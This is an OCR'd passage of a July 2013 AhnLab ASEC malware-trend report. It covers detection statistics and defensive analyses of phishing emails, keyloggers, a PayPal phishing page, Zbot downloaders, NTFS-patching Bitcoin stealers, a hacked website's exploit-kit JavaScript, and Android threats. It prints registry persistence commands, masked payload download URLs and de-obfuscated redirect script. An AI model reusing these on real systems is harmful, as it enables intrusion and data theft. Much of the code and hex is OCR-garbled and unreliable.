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Malicious Code Trend

01.

Malicious Code Statistics

The number of malicious
codes reported in July
decreased by 790,000

from the previous month

According to the statistics collected by ASEC, 3,340,338 malicious codes were reported in July

2013. The number of reports decreased by 797,691 from the 4,138,029 reported in the previous

month. (See [Figure 1-1].) The most frequently reported malicious code was Textimage/

Autorun, followed by Trojan/Win32.urelas and Win-Trojan/Wgames.Gen. Also, a total of 3

malicious codes were newly added to the “Top 20" list. (See [Table 1-11.)

Figure 1-1 | Monthly Malicious Code Report Changes
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Table 1-1 | Top 20 Malicious Code Reports for July 2013 (Based on Infection Report and Malicious Code name)

Ranking ™M Malicious Code Reports Percentage
1 A2 Textimage/Autorun 131,381 11.3%
2 A4 Trojan/Win32.urelas 125,869 10.8 %
3 v Win-Trojan/Wgames.Gen 91,128 7.8%
4 AL Trojan/Win32.agent 89,621 7.7 %
5 Ab Binlmage/Host 67,805 5.8 %
6 v2 Win-Trojan/Onlinegamehack140.Gen 66,851 5.7%
7 A2 Als/Bursted 63,216 5.4 %
8 v3 Trojan/Win32.onlinegamehack 61,472 5.3%
9 A1 RIPPER 60,764 5.2%
10 v9 ASD.PREVENTION 52,879 4.5%
1" NEW JS/Agent 48,230 41%
12 A7 Trojan/Win32.adh 43,877 3.8%
13 A3 Win32/Autorun.worm.307200.F 38,180 3.3%
14 v2 Win-Trojan/Asd.variant 36,751 3.2%
15 A5 Trojan/Win32.Gen 35,553 3.1%
16 v2 Win-Trojan/Malpacked5.Gen 32,997 2.8%
17 NEW Trojan/Win32.fakeav 31,242 2.7%
18 v Win-Trojan/Avkiller4.Gen 30,172 2.6%
19 v4 Malware/Win32.suspicious 29,183 2.5%
20 NEW Lsp/Agent 27,911 2.4%

TOTAL 1,165,082 100.0 %
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Top 20 Malicious Code
Reports

Trojan Horse - The most
frequently reported new

malicious code in July

[Table 1-2] below shows the percentage breakdown of the Top 20 malicious codes and variants
reported this month. As for July 2013, Trojan/Win32 (584,130) was the most frequently reported
malicious code among the Top 20 malicious code variants, followed by Win-Trojan/Agent

(154,347) and Textimage/Autorun (131,397).

Table 1-2 | Top 20 Malicious Code Reports

Ranking ™M Malicious Code Reports Percentage
1 — Trojan/Win32 584,130 29.1%
2 —_ Win-Trojan/Agent 154,347 7.7 %
3 A3 Textimage/Autorun 131,397 6.6 %
4 —_ Win-Trojan/Onlinegamehack 116,898 5.8 %
5 A3 Win-Trojan/Downloader 100,780 5.0 %
6 v1 Win-Trojan/Wgames 91,128 4.5%
7 A5 Win32/Conficker 69,254 3.5%
8 A9 Binlmage/Host 67,805 3.4%
9 A1l Adware/Win32 67,449 3.4%
10 Al Win32/Virut 67,126 3.3%
1 v2 Win-Trojan/Onlinegamehack140 66,851 3.3%
12 v5 Malware/Win32 64,865 3.2%
13 —_ Win32/Autorun.worm 64,381 3.2%
14 —_ Als/Bursted 63,216 3.2%
15 - RIPPER 60,764 3.0%
16 - Win32/Kido 53,122 2.7%
17 vi4 ASD 52,879 2.6%
18 NEW JS/Agent 48,399 2.4%
19 v Downloader/Win32 46,123 2.3%
20 ML Win-Trojan/Asd 36,751 1.8 %
TOTAL 2,007,665 100.0 %

[Table 1-3] shows the percentage breakdown of the Top 20 new malicious codes reported in
July. Win-Trojan/Downloader.206352.C was the most frequently reported new malicious code
in July, representing 32.4% (12,570) of the Top 20 new malicious codes, followed by Win-Trojan/
Clicker.23552 (8,335).

Table 1-3 | Top 20 New Malicious Code Reports in July

Ranking Malicious Code Reports Percentage
1 Win-Trojan/Downloader.206352.C 12,570 32.4%
2 Win-Trojan/Clicker.23552 8,335 21.5%
3 ACAD/Busted 4,361 11.2%
4 Win-Trojan/Agent.107520.ABA 1,852 4.8 %
5 Win-Adware/KorAd.111616 1,375 3.5%
6 Win-Trojan/Downloader.11931.B 1,194 3.1%
7 Win-Trojan/Downloader.104448.H 1,081 2.8%
8 Win-Trojan/Onlinegamehack.83897472.B 987 2.5%
9 JS/Ddos 926 2.4%
10 Win-Trojan/Agent.187103 884 2.3%
1" Win-Trojan/Agent.28160.TQ 835 2.2%
12 Win-Trojan/Agent.33280.XA 650 1.7%
13 Win-Trojan/Agent.11931.B 634 1.6 %
14 Win-Trojan/Downloader.135168.HG 579 1.5%
15 Win-Trojan/Agent.150624 542 1.4 %
16 Win-Trojan/Agent.102400.AEQ 465 1.2%
17 Win-Adware/KorAd.193377 418 1.1%
18 Win-Trojan/Agent.79296512 406 1.0 %
19 Win-Trojan/Morix.97792 382 1.0%
20 Win-Trojan/Agent.150624.B 358 0.8 %

TOTAL 38,834 100.0 %
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“Trojan Horse (52.7%)”
ranked as the most
reported malicious code
type in July

Comparison of Malicious
Codes with Previous Month

[Figure 1-2] categorizes the top malicious codes reported by AhnLab customers in July 2013.

Trojan was the most reported malicious code, representing 52.7% of the total, followed by

Worm (8.5%) and Adware (5.9%).

Figure 1-2 | Malicious Code Type Breakdown
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[Figure 1-3] shows the malicious code breakdown compared to the previous month. Compared

to last month, the number of Worms, Scripts, Viruses, and Exploits inc
number of Trojan horses, Adware and Spyware decreased. The numbers

Appcare were similar to those of the previous month.

Figure 1-3 | Malicious Code Type Breakdown for July 2013 vs. June 2013
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Breakdown of New

Malicious Code Types

Trojan Horse was the most frequently reported new malicious code type in July, representing

81% of the new malicious code types, followed by Adware (5%) and Exploit (2%).

Figure 1-4 | Breakdown of New Malicious Code Types
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Malicious Code Trends

02.

Malicious Code Issues

Caution: Keyloggers claiming to be purchase
orders are circulating!

Recently spam emails with malicious purchase orders that infect
the victims' computers have been reported overseas. Only a few
similar cases have been reported in Korea. However, employees
who frequently exchange POs or contracts via email need to pay
extra caution as the number of malware attacks using the same

pattern increases steadily. The discovered spam email is shown
in [Figure 1-10].

21066212106621 S5 8%

BE  |HR 2@ | DS A | 8Y

21056212106521

O ¢4 S8 X278
&2 0132 HIBME |2
A C:WDocuments and SettingsWAdministratorth

Figure 1-10 | Email with a malicious attachment

The email attachment actually contains a zip file. When unzipped,

it reveals a malicious .exe file (.scrt) disguised as a fake PDF icon.

\ PO#25-KB862.scr =3t 27 2013-06-24 2= 3:10
717 1.44M8B

[T

3 237

Figure 1-11 | Decompressed malicious file

When executed, the malicious codes works in the following

sequence.

1.Create its own copy in the path %appdata%\clkmedia\

cklmde.scr.

2.Save the following command lines in the Batch file to
start automatically when the system is rebooted. REG ADD
"HKCU\Software\Microsoft\Windows\CurrentVersion\Run"
/v "clkmedsa” /t REG_SZ /d "C:\Documents and Settings\
Administrator\Application Data\clkmedia\cklmde.scr" /f

3.The cklmde.scr file runs the Chrome browser in the
background and executes the keylogging function through

thread injection.

4.Save keyboard strokes in the %appdata%\dclogs\[Date
Timel.dc file.

5.Periodically send the saved keylogging file to the sant***.
N**p.org:4666 (216.%+* 1%+ 218).

V3 can detect this malware as below:

<Malware name in V3 products>
-Trojan/Win32.Inject (AhnLab, 2013.07.11.00)

Fraudulent emails disguised as purchase order
emails

Recently, there have been reports on scam emails with suspicious
attachments. ASEC could not exactly verify the mail subjects and
contents since the original emails were not reported, but we could
verify emails with the same subject through some websites. As
shown in [Figure 1-13], the scam emails lure users into clicking

the attached PO to check the purchase status.

P.O july 2913 Blue Star Alloys LLC
Hello Dear,

Please find our attached Purchase order for July 2013 and quote for us the best
price to Miami, USA.

We also need to know the delivery time to Miami and the production time needed
for the order quantity we have chosen on attached PO below.

Awaiting your soonest response.

Thanks & Best Regards

Meaghan Stanley

Blue Star Alloys LLC

www.bluestaralloys.com

info@...

325 main str Dr, Miami, Florida, 327787, United States

Figure 1-13 | Assumed original email contents

ASEC assumes that the company is related to tungsten carbide

and tool steel recycling. (See the website in [Figure 1-141.) It



ASECREPORT 43 | MALICIOUS CODE TREND

seems the fraudulent emails were sent out to metal-working

companies.

el

We are dedicated.to the
quality of the Service for our
customers!

Blue Star Alloy is one of the largest Recycler of Tool Steels and Tungsten Carbide.

Figure 1-14 | Related company website

The attached file is compressed. When unzipped, it reveals a
malicious executable file with the fake PDF extension and icon as

shown in [Figure 1-15].

P.O July 2013 P.O July 2013
Blue Star Alloys Blue Star Alloys
LLC.pdf LLC.scr

Figure 1-15 | Decompressed malicious file

When executed, it infects systems instead of displaying an actual

PDF document. The major files are created as below:

CREATEC:\Documents and Settings\Administrator\Application
Data\xxx.html

DELETEC:\Documents and Settings\Administrator\Application
Data\xxx.html

CREATEC:\Documents and Settings\Administrator\Application
Data\AdObe\AdObe.exe

CREATEC:\Documents and Settings\Administrator\Application
Data\1.html

DELETEC:\Documents and Settings\Administrator\Application
Data\1.html

CREATEC:\Documents and Settings\Administrator\Application
Data\AdQObe\logs\17.07.2013.arl

It registers its value in the system registry to run automatically at
system startup. Fake values as similar as normal program values

are used to trick users and analysts.

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\
Adobe Reader Speed Launcher

"C:\Documents and Settings\Administrator\Application
Data\AdObe\AdObe.exe"

As shown in [Figure 1-16], it attempts to connect to the specific
server whose address is verified to be a domain using the DDNS

(Dynamic DNS] service.

No, Source Deshna\{nn [Protocol {Lenath finfo
TP P

B0 192.166.116.032  192.168.116.2 WO B W7iStantard Gusfy OxeBcs Ac....n. ).0rg
17E7L192.168,116.2  192.168.116.137 4ok | | S3iscadaco ety response OxeBcd A 190.......:210
1P Y balak,

Figure 1-16 | Requested DNS information

The collected system information is sent to the specific server. (See

[Figure 1-171.)

Stream Content

[5_0001. NEw T102.168.116.132, . . vaMan4-B45/0C4 . . . AGMINTSTrator. . . XP. .. V1.3...I0LE
rime. . . Activ

Caption. . xoq'lvgogxz:wéxOrTngxhwscArzi12 “NO.. . NOJLUNO. ..€20000. ..5_0000. .. & 1 npx ver.
.0.3.6 - AhnLal 0000. . . S_0000. . Process

Explorer...0...C_0000...5. 0000 !EXPLORE EX‘E

Properﬂes €_0000 0000+ Process Exp]urer = sysinternals: www.sysinternals.com
(S b= 34579c4\Adm1nﬁstrator] ...... |

Figure 1-17 | Packet related to the transferred system information

The spam emails allegedly coming from official agencies or
companies have continuously distributed malicious codes through
attachments. The variety of intelligence gathering techniques
have been used to target specific entities, like the Advanced

Persistent Threat (APT) attacks.

Users must be aware of these security threats and make efforts

to protect personal and company assets.
V3 can detect this malware as follows.

<Malware name in V3 products>
-Spyware/Win32.Zbot (2013.07.12.01)
-Trojan/Win32.Inject (2013.07.18.00)

Warning alerts on PayPal phishing

Phishing and pharming scams that steal sensitive personal and
financial information are rampant at home and abroad. Recently,
there have been reports on PayPal phishing scams using
obfuscated codes ([Figure 1-18]). PayPal is a company that allows

payment transactions via the internet.

» <script>

nt.vrite (unescape (

Figure 1-18 | Obfuscated PayPal phishing page

Decoding the obfuscated malicious codes reveals the PayPal
phishing page. This page requests users to enter personal
information, PayPal IDs, passwords and even credit card

information.
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The fraudulent page uses the actual PayPal page image files to
avoid user detection.

004 | ek | SacurtvConre Search

PayPal’

I v iovr [ reamsiions [ rchonenices | octonTous | proacs s seces
Profile Update
Please complete the form below to update your Profile information and restore your account access.

Credit/Debit Card Profile

Enter card information as accurately as possible
For card number, enter numbers only please, no dashes or spaces.

Card Number: [1234367893323333
Expiration Date: |01 ] m;j
Card Vertfication Number: (23| nelo findiea vour Card verification tumber

Required Field

For your protection, we verify credit card
The p 2 about 30 seconds, of the day. Please click Save Profile to

Figure 1-19 | PayPal phishing page

<table align="center” border="0" cellpadding="0" cellspacing="0" width="760">

<tr><td><br>Enter card information as accurately as possible.<br> For card number, enter
numbers only please, no dashes or spaces.<br><br></td</tr>
</tabledktable align="c.  border="0" cellpadding="0" cellspacing="0" width="760"><tr>

<td class="label” width="320"><label for="defaultcardnunber”><sup><im bo:dez- "
srce="htt wv. sandbox . paypal, com/en _US/L/sce/pixel. ;xt")(/tupfcud Number: (/1abe1></td.>

<td width="2">enbsp:</td>
<td width="418"><input class="" type="text" id="ccnumber” name="conumber” size="20" value="">
</td</Tr<tr>

<td class="label” width="320"><label for="defaultexpdate” ><sup><img. horder="0"
src="https: //www. sandbox.paypal.com/en_US/i/scr/pixel.gif"></suppExpiration Date: f/labe1></td>

Figure 1-20 | De-obfuscated PayPal phishing page code

When the user enters and saves all the requested information,
the collected information is sent to the remote system. After
successfully sending the stolen information to the remote system
with the specific IP address in the US, the malware redirects the
user to the official PayPal page to avoid the user’s detection or

suspicion.

POST /S.A.F.E-FOrm. aspxLOB=RBGL.php H’
accept: {nage/olf. Image/xcxvitase, Srages {peg image/pjpeg, application/x-shockwave-flash, application/vnd.m:
exce catton/vnd.ms-poverpoit, application/msword, application/xamlean, PP Ticat ion/xons-xbap,  appiication/
coms-3pplicatio

Accept-Language

con(en! Y§pe appHca!inn/x -www-form-ur]encoded

2ip, def
Tk ;0. (cmpmbu MSIE 7.0; windows NT 5i1j .NET4.0C; .NETA.OE)

Aliv
Cathecontrol: no-cache
namestestaIname-testéenal]-testOTesT. Combmme. 288yy=19388p]

f
+testaphone=010222233; 3>&addressl-tesr&address>-(Es(kity-tesrbﬂa(e “testazip=1234568<ountry=8runeldmmn-testadefault= |
Laccnumber 123«‘;:7893323,33“;51“ O14exp_yy=128cvv=1238setsave+Profi1eHTTP/1.1 302 Found )

Flgure 1-21 | Stealing personal information

V3 can detect this malware as below:

<Malware name in V3 products>
-JS/Bankfraud (AhnLab, 2013.07.10.00)

Malicious spam emails with company domain
files are put in circulation

According to the ASEC analysis results on foreign malicious spam
emails, scam emails with ‘Docs_(Company domain).zip® files
have been detected. Users who are unfamiliar with spam emai
s might think that the attachment with the company domain is
safe and click it without any suspicion, resulting in serious system

infections. Extra caution is advised.

The detected malicious spam emails are reported as shown in

[Figure 1-30].

%A1 %}: Dok T ng @wellsfargo.com
2 IMPORTANT Docs — WellsFargo

e

Please review attached documents.

Deiinig_Migmming

Wells Fargo Advisors

€175 1473 M2 officel

817 Ema =27 cell

Debin w_Maing@wellsfargo.com

CONFIDENTIAL NOTICE: The contents of this message, including any attachments, are confidential and are
intended solely for the use of the person or entity to whom the message was addressed. If you are not the
intended recipient of this message, please be advised that any dissemination, distribution, or use of the
contents of this message is strictly prohibited. If you received this message in error, please notify the sender
Please also permanently delete all copies of the original message and any attached documentation

Thank you

wyay

Docs_(4 Al XpdomainF 2).3p

Figure 1-30 | Emails with malicious attachments

When unzipped, it reveals a malicious executable file (127 KB)

with a fake PDF icon. (See [Figure 1-31].)

lﬂl Docs_22072013.PDE.PDF.exe =% 3t L7} 2013-07-23 Q= 3:48
= 37 | 127KB

—- ca

olo
oo
[EL

J

Figure 1-31 | Decompressed malicious file

The executed malicious code works as below:

1. Access the following URLs to download additional malicious
codes.

money******eting.com/dL1.exe

abbe****ts.co.uk/fNF1.exe

salsa****nfuego.com/RCY.exe

f***s info/PwvextRo.exe

2. Save the downloaded malicious code as an %Application
Data%\Keivyh\vegilo.exe file and register it in the Run registry

to run automatically at system restart.

3. Modify the firewall registry to open following ports.
UDP 2253
TCP 4302

4. Inject the executed malicious code in the Explorer.exe file to

regularly communicate with various IPs.

V3 can detect this malware as below:

<Malware name in V3 products>
-Trojan/Win32.Zbot (2013.07.23.04)

Malware exploiting NTFS file system

Online game hack, pharming and phishing malicious codes that
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steal financial information an

d money continue to be a serious social issue, and all of the
related malicious codes rank on the list of Korea's top 10
malicious codes. New malicious code variants for stealing
financial information (ex: Zeus, Spy Eye, Citadel, KINS and others)

have been reported abroad.

@R Spy Eye..

Figure 1-39 | Spy Eye

Recently, cybercriminals attempt to steal cryptocurrency called
Bitcoin. Bitcoin is independent virtual money that is transferred
through a computer without an intermediate financial institution.
In earlier days, Bitcoin was used for illegal money transactions
such as gambling or drug trafficking, but nowadays it is used as
a general financial instrument to buy goods from online stores.
In the first half of 2013, malicious codes that steal Bitcoin were

reported most frequently.

Systems infected with Bitcoin-related malicious codes have
continuously been reported in Korea. The cybercriminals use file
distribution programs (ex. Torrent) and disguise such Bitcoin-
related malicious codes as keygens or cracked software products
to distribute them. The Bitcoin-stealing malware attacks

specifically targeting Mac users are increasing rapidly.

fi { reralize.
first decentralize:

2)-Ditcoin,

digital currency

Figure 1-40 | Bitcoin

As the attack and infection methods are well advanced and
sophisticated, it is not easy to analyze or repair infected systems.
Let's check out how malicious codes exploit use MS NTFS (New
Technology File System) to avoid malware detection and interrupt
repairs.

The NTFS file system contains the MFT table (Master File Table)
that includes information of all files and directories existing in
the volume. If you look at the NTFS file system in [Figure 1-41],
the MFT is located after the VBR (Volume Boot Record), but the

location can be changed.

10

Data
Area

Figure 1-41 | NTFS file system

The Bitcoin-stealing malicious codes exploit MFT entry properties
to patch codes of Windows system file (services.exe) MFT entry
properties. To get the patched codes in MFT entry properties, the
MFT of the services.exe file calculated offset values for saving
malicious codes must be obtained.

0C 03 73 00 65 00 72 00 76 00 69 00 63 00 65 00 ..s.e.r.v.i.c.e.

73 00 2E 00 65 00 78 00 65 00 00 OO 00 OO0 00 00 s...e.X.€@.......
80 00 00 00 48 00 00O 00 01 00 00 00 OO DD DOS 00 ...Hiveviuruunn,

00 00 00 00 OO OO OO OO 3F OO QD OO OO OO OO OO ........ Pevennns
40 00 00D 00O 0D 00,00 OO OO OD D4 00,00 DD D00 00®@....cvvnnnnnns
00 F4 03 00 00 0O 0O 00 00 F4 03 00 00 0000 00 w?u..... Peceodaln

31 40 S4 DO 03 0O ES 8C DO 00 00 00 20 00 00 DO 1€T?7.77.. ...uu.
00 00 00 00 0D OO O3 OO 08 00 00 00 18 00 00 DO ......vvvvnnnnns
68 5B 00 00 6C SB 00 00 EO 00 0000 48 00 00 00 "h[..1[..7..H....
01 00 00 00 OO OO O400 0000 0O0O0DD0DO0DODOD ...c.ovvvnnnnnn.

0S5 00 00 00 00 00 0O OO 40 00 00 00 00 00 00 00 ........ Q.......
00 60 00 00 00 00 OO OO 6C SB 00 00 00 OO OO 0O . ...... 1[......
6C SB 00 00 00 00 00 00 3f 06 B1 13 14 00 00 00 1[...... R - - -

Figure 1-42 | MFT

According to the ASEC analysis, the MFT entry property values of

the final offset shows PE Headers, determining the files as dll files.

0 1 2 3 4 5 6 7 8 9 A B CDEF ] 4

CD 21 54 68 69 73 20 70 72 6F 67 72 61 6D 20 63 ?This program c..
61 6E 6E 6F 74 20 62 65 20 72 75 6E 20 69 6E 20 annot be run in .
44 4F 53 20 6D 6F 64 65 2E 0D 0D OA 24 00 00 00 DOS mode....$....

Figure 1-43 | MFT

Malicious codes disguised as illegal software products, movies, or
mp3 music files keep emerging in Korea. To protect your computer,

please do not download any suspicious or illegal files.
V3 can detect this malware as below:

<Malware name in V3 products>
-Trojan/Win32.Inject (2013.07.31.03)

International website of Japanese automobile
manufacturer spreads malicious codes

On July 9 2013, an international website of a Japanese automobile
manufacturer was hacked and distributed malicious codes. The

obfuscated script was inserted at the top of the main page of the
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hacked website. (See [Figure 1-44].)

0,13
4 [ps](", ")) ;d=document ;For (i=0;i<a.length;ie=1)¢ai]=~(
a)) (Iscrlvl)

12
u( yy)rval(n ng[ " ].ap;ug(su

Figure 1-44 | Inserted malicious script codes

According to the ASEC analysis result of the obfuscated codes in
[Figure 1-44], the malware downloads malicious scripts from the

specific URL using the iframe tag as shown in [Figure 1-45].

1 (documant getElemant By T agplarma(body OIH
N prs;

0;
et LSO

bebe {

=100 heght=100

hmmt--r-nx
WUMMM’HMM( b ol
document.gatEementsy T xfiame(body 0] agpendCrdl;

=

}

Figure 1-45 | De-obfuscated script codes

The malicious scripts downloaded from the above addresses
consist of two different scripts respectively. The 'script

1"downloads the auzzxc.html file with obfuscated codes through

<iframe style="display:none;" src="auzzxc.html" id="mgsvry"></

iframe> and calls the auzzxc.html code from the end of the script

to decode obfuscated codes.

"

8apaoagabab9nalal9nbiblb9c7b7c8anaoahaeadasd3d3a3bibl
b9c7b7c8apaoaiabab9nalal9nbiblb9c7b7c8anaoaiabakasasd
291cfcicéchencecichafcbelc8c9ao9pedciclcaafchencgefpam
91d4c8cfcmc89nd291ccc9a3al3biblb9c7b7c8apaoaiacab9nala
19nbiblb9c7b7c8anaiadaca4a4?1cfcicéchencecichacbelc8c9a
o9pcdcfcjcha9cbenbrerahc7cf9pam91c8cfecmc891cfeicéchenc
ccicha9cbclc8c9an9pcjc7c9cradcbenbrerahc7cf9pam91d491</

textarea>

window.onload=function(}{

var nsabmwc=parselnt;

var zynnutkf="mqsvry”;
wsfjcfx=document.getElementByld(zynnutkf ).contentWindow;
jnnoktt=wsfjcfx.document.getElementByld(“umlfysf");
abxv="";
for(ppgrw!=0;ppgrwl<jnnoktt.value.length;ppgrwl+=2)
abxv+=String.fromCharCode(nsabmwc(jnnoktt.value.
substr(ppgrwl,2),28)-243);

eval(abxv);

}

Table 1-4 | De-obfuscation routin of the ‘script 1°

<textarea id="umlfysf">91cpc4cl9nbiblb9c7b7c89naoIncqccch
c7cicqa?bfcfcocaccchb3c8cnc8cécnafcac8enblc8clcmeccicha
39pb9c4cpchtIpatam1ccc99na3endlcjc8cic?9nbiblb9c7b7c8
9naoao9na2cmenclcecchcaa2as9nd291biblb9c7b7c89nao9nbib
b9c7b7c8a%9cmcjcfcccnal39pa79patam91ccc?9na3biblb9c7b7
c8bgaec0afcfc8chcacnchaoaoacas9nd291biblb9c7b7c89nan?
n9p9pabbiblb9c7b7c8bgacclab9pab9pabbiblb9c7b7c8bgaecO
am91d49nc8cfcmc89nd291biblb9c7b7c89naoIn9p9pabbiblb?
c7b7c8bgacc0abbiblb9c7b7c8bgaec0am91d491d49nc8cfcmc8
9nd291biblb9c7b7c89naoInabam91d491ccc9a3al3biblb9c7b7c

Table 1-5 | Major codes of the auzzxc.html

When the script is de-obfuscated, it reveals the following codes
and checks Java versions to download and run another malicious

html file.

var SVJdHe = window.PluginDetect.getVersion("Java");
if(typeof SVJdHe ==
SVJdHe = SVJdHe.split(",");
if(SVJdHe[3].length==1] {

SVJdHe = ""+SVJdHe[1]+"0"+SVJdHe[3];

‘string’] {

}else{

SVJdHe = ""+SVJdHe[1]+SVJdHe[3];
}

}else{

SVJdHe = 0;

}

if((SVJdHe>=500 && SVJdHe<=632][|(SVJdHe>=700 &&
SVJdHe<=709)1{
location.href="jorg.html";

Jelsef

if((SVJdHe>=710 && SVJdHe<721))
location.href="jlpn.ht\xédl";

else

location.href="pdfx.ht\x4dl";

}

Table 1-6 | De-obfuscated codes

At the time of the ASEC analysis, the html file downloaded to the
infected PC was a jorg.html file which contained linked URLs and

a jar file exploiting Java vulnerability

<applet archive="vTLnRnar.jar" code="LWnxGHGNC.ZdXuy™>
<paran

value="http:// ational.biz/Bedi2y-B18FWOY Qa_UBFWCA-OVHpe ORFU/FObUTSOr/i3T0 XG EF0b2JJ0TU-HD-OAHS ¢
0zHo0Y-qGMOS-47yOT_NGGOtL/JTO_MFAL1/6utADWL/YNOWU VKIIIIISI‘7U.ZIGI.‘VIZYB/OQPI!MEHL 0XHuyO_s8J10rnz/DOsSOFO:
name="xnCL1HOE"/>

OT-Fhr0_aB_H60rAJ_B122Y-qO5uGk0/U4N_10UWE-HO_ILaN- g qg.

Figure 1-46 | Main codes of the jorg.html
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Malicious Code Trends

03.
Mobile Malicious
Code Issues

Android app stealing PC information

Recently, articles about an explosion of smartphone malicious
codes have been frequently released. The most frequently reported
malicious code in Korea is a ‘Smishing" attack, a form of criminal
activity using social engineering techniques such as text messages
or mobile messengers. Smishing is a compound word of 'SMS and

Phishing’, causing the largest damage and losses in Korea.

The Smishing malicious code is a malicious code leveraging
mobile attributes, whereas FakeAV, ransomware and other
malicious codes are the advanced forms of PC malicious codes.
The 'USB Cleaver’ app, one type of a hacking tool, contains

functions similar to those PC hacking tools.

The "USB Cleaver’ app is a PC information-stealing app that

creates an icon as shown in [Figure 1-47] after app installation.

USB Cleaver

Figure 1-47 | Icon Image

When the application is installed, three menus are displayed.
(See [Figure 1-48].) If you select the ‘Download Payloads' button,

various tools are downloaded to collect PC information.

Figure 1-48 | Payloads download
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When the download is complete, the following files are
downloaded in the path /mnt/sdcard/usbcleaver/system. The
autorun.inf, go.bat file are also downloaded in the path mnt/

sdcard.

Za.ene |
[ElBulletsPassView.exe
[ICACHEDUMP.EXE
® ChromePass.exe
[Bcsrss.bat
Hcsrss.one

Drive.ico
Elfc.exe
[IFGDUMP.EXE
EIFIREPASSWORD,EXE
SHideConsole.exe
iehv.exe
iepv.exe
LIBEAYZROLL
libssi2.dil
JIsremorabd, dil
Isremora,dil
mailpv,exe
IMSPASS,EXE
netpass.exe
nsprd,dil

EArAEAr 14

SR

i
Anss3dil
@PasswordFox.exe
[Splcd.di

{§pldsd.di
IPORTORY.EXE

SIPWOUMP.EXE
EIRAREXE
Slservpwtt.exe
Dlservpw.exe

[ sofokn3 i

&) ssleayR.dil
susbclum 2ip
CIWGET.EXE
EWIFIKE EXE
4 WirelessKeyView.exe

LEXE

Figure 1-49 | Downloaded files

After connecting the devices to the PC, click the Enable / Disable
Payloads button, select desired information, then click the
Generate Payload button. When you click the Payload Generated

button, you can obtain the PC information.

®

Y
Select your payloads
7 Dump System Information

Dump FireFox Passwords.
Dump Chrome Passwords
Dump IE Passwords.

LA p—

=8 Gl

Figure 1-50 | Payloads Generate screen

[Information obtained from PCs]
- PC network information
- FireFox, Chrome, |IE password information

- Wi-Fi password information

[Figure 1-51] shows the screen of obtained PC network
information. The related files are saved in the path /mnt/sdcard/

usbcleaver/logs/.

Hostame
Primary oo St
Node Ty

19 5ot Enabld.
s Prowy Enabis
0 S Sesch Lt

e 0090 0000 0060

2652552650

192 168102

Figure 1-51 | PC network information
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Figure 1-52 | go.bat codes

[Figure 1-52] shows parts of the batch file that is executed by
autorun.inf when a device is connected to the infected system.
Considering the facts that the app has functions to collect PC
information and uses the USB auto-run function to run Windows
processes and that there had been reports on malicious codes
using these functions in the past, the evolution pattern of these
apps are similar to that of PC malicious codes. According to the
ASEC analysis results on this app, there is no code performing
malicious actions and it only requests only SD cards or network

related permissions.

Due to all these reasons, V3 mobile products detect this malicious
code as a form of AppCare. AppCare is a program that is not
intended for malicious actions but can cause harmful effects
depending on how it is used. ASEC recommends not using these
applications even if they are not malicious codes. To minimize the
newly discovered malicious app infection, it is advised to install

reliable mobile anti-virus programs like V3 mobile products.
V3 Mobile product detects this malware as below:

<Malware name in V3 products>
-Android-AppCare/UsbCleaver.4EFE8

Android certificate bypass vulnerability

On July 3, Bluebox announced a vulnerability that bypasses the
certification process during an Android app installation. This
vulnerability that called ‘Master Key vulnerability’ exploits the
fact that the decompression module is different from the internal
app file verification module when the app is installed on Android
devices. The master key vulnerability can allow the malware to
perform malicious actions without modifying the certificates if the

malicious functions are added into normal files.

For Android devices, the certificate is a very important security
function to identify code creators or app modifications. This
master key vulnerability incapacitates Android security policies
that identify app creators based on certificates. After media
reports about the master key vulnerability were released, cyber
attackers have continuously exploited security holes in Chinese
Android marketplaces to spread malware by repackaging well-

known apps. In addition, there have been reports on repackaged
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banking apps that steal account information from Korean users.

Let's take a closer look at this master key vulnerability.

ZIP file structure

APK (Android application package) uses a standard Zip file format
that is defined by PKWARE, Inc. To understand the vulnerability,

you need to understand the ZIP file structure first.

Local file header 1
File data 1
Local file header 2
File data 2

Consists the same number
of headers and data as the
number of compressed
files.

Local file header n
File data n

Central directory header 1
Consists the same number
of headers as the number

of compressed files.

Central directory header 2

Central directory header n
End of central directory record

Figure 1-53 | Structure of zip files

Generally zip files consist of ‘Local file header”, 'File data’, ‘Central
directory header'and "End of central directory record’. Short

details on each item are listed in [Table 1-7].

Category Description

Itis located at the end of the zip file,

. containing the number of compressed
End of central directory record ) )
files and the start point of the ‘Central

directory header’

The central directory header number
is the same as the compressed file

. number, and it contains compressed/
Central directory header o o )
original file sizes, compressed file
names, and the ‘local file header’

location with the compressed data.

The local file header number is the
same as the compressed file number,
Local file header and it is the compressed data header
which contains compressed ‘File data’

at the bottom.

The file data number is the same as
File data the compressed file number; and it

contains compressed file data.

Table 1-7 | Detailed ZIP file structure
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ZIP file translation

File data 1

4.Decompress the files
based on the collected
information from Central
Directory header

File data 2

3. Move to the start points
of each Local file headers
using the information
collected from Central
Directory header

File data n

2.Collect as many header
data as the number of
Central Directory header

A

1. Check the number of t
Central Directory header
and it's start point (

(

Figure 1-54 | ZIP file translation

e

As shown in [Figure 1-54], the ZIP file translation starts from the

end of file. The process can be summarized as below.

1. The system finds the 'End of central directory record’ at the
end of the file to obtain the number of compressed files in the
ZIP file, the start point of the ‘Central directory header’ and other

information.

2. The system moves to the start point of the ‘Central directory
header’ obtained from the 'End of central directory record’ to
collect information from each ‘Central directory header'. Most
importantly, the size of the ‘Central directory header’ includes
three variable data: 'File name length’, 'Extra field length® and
‘File comment length’. This means that three variable data sizes
need to be added to the base header size to figure out the start

point of the ‘Central directory header".

The compressed 'File data’ size might not exist in the "Local file
header’ depending on the compression option. It is required to get
the value from the 'Central directory header'. [Figure 1-55] shows
how to get the location of the ‘Central directory header’ when the

‘File name' is 11 and both 'Extra field" and 'File comment" are 0.

Central directory header 1

Header signature 0x02014B50

File name length 0x0008

Edraifeidlisnath 00000 Central directory header size : 46(Fixed size)
File comment length 0x0000

File name legnth : 11(Filename length)
Extra field length : 0 (Extra field length)
File comment legnth :

Central directory header 2

Next header = Current location + 46 +(11+0 +

Header signature 0x02014850
File name length 0x000F
Extra field length 0x0000

File comment length 0x0000

Figure 1-55 | Central header location
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3. The file data number is the same as the compressed file
number, and it contains the compressed file data. You can move to

the 'Local file header' to decompress the file.

4.The 'Local file header’ length is variable as the ‘Central
directory header’. The start point of the ‘File data’ where the
actual compressed data exists can be calculated by adding the
size of the ‘File name length’ and "Extra field length’ to the ‘Local
file header' size. [Figure 1-56] shows how to get the 'File data’

location when the 'File name" is 11 and the 'Extra field" is 0.

Local file header 1 ]

fieaceysiopacygy OGO SReD Local file header size : 30 (Fixed size)

File name legnth : 11(Filename length)
Extra field length : 0 (Extra field length)
